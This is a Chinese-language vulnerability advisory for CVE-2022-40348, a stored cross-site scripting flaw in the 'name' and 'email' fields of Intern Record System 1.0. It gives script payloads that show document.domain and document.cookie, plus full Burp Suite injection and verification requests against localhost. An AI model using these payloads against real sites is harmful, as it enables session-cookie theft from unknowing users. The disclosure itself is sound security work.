CVE-2022-40348: Intern Record System - 'name'和'email'跨站脚本（未认证XSS）

• 漏洞标题： Intern Record System - 'name'和'email'跨站脚本（未认证XSS）
• 日期： 2022-06-09
• 漏洞作者： Hamdi Sevben
• 厂商主页： https://code-projects.org/intern-record-system-in-php-with-source-code/
• 软件链接： https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
• 版本： 1.0
• 测试环境： Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
• CVE编号： CVE-2022-40348

参考：

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40348
• https://nvd.nist.gov/vuln/detail/CVE-2022-40348

1. 描述：

Intern Record System 1.0 在 "/intern/controller.php" 中存在通过参数 'name' 和 'email' 触发的存储型跨站脚本漏洞。由于未能充分过滤用户提供的数据，Intern Record System 容易受到跨站脚本攻击。攻击者可能利用此漏洞在受影响的站点上下文中，于不知情用户的浏览器中执行任意脚本代码。这可能允许攻击者窃取基于 Cookie 的身份验证凭据并发动其他攻击。

2. 概念验证：

• 在 Burpsuite 中向 http://localhost/intern/controller.php 的 'name' 或 'email' 参数发送带 payload 的请求
• 访问 http://localhost/intern/view.php 页面
• 刷新页面。
• XSS 将被触发。
• 将弹出警告框。

3. 示例 payload：

• Payload-1： <script>alert(document.domain)</script>
• Payload-2： <script>alert(document.cookie)</script>

4. 针对 'name' 参数的 Burpsuite 请求：

• 注入：

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 78  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

name=<script>alert(document.domain)</script>&email=&phone=&deptType=3

• 验证页面：

GET /intern/view.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Referer: http://localhost/intern/controller.php  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

5. 针对 'email' 参数的 Burpsuite 请求：

• 注入：

POST /intern/controller.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Content-Length: 153  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/intern/  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36  

name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3  

• 验证页面：

GET /intern/view.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-us,en;q=0.5  
Cache-Control: no-cache  
Referer: http://localhost/intern/controller.php  

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36